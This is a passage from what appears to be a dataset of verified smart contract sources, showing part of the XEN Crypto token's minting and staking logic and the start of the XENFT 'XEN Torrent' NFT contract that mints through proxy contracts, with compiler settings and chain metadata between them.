Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}} |
1 | 19,494,966 | b37f45003d88fd698c750f7744bd31028442086a16a43a4f4df8e8d418929377 | 95f006a459224e88a8f73755ab7bc49de3dbf196b2834c3be19f2653c4c3b3ea | 515b52b8170b1dcd20242b369a674a8dad27407f | 0a252663dbcc0b073063d6420a40319e438cfa59 | 1a9a7995d49aacacfb8ddc1fb5a4acd38c3a0c4f | 3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = 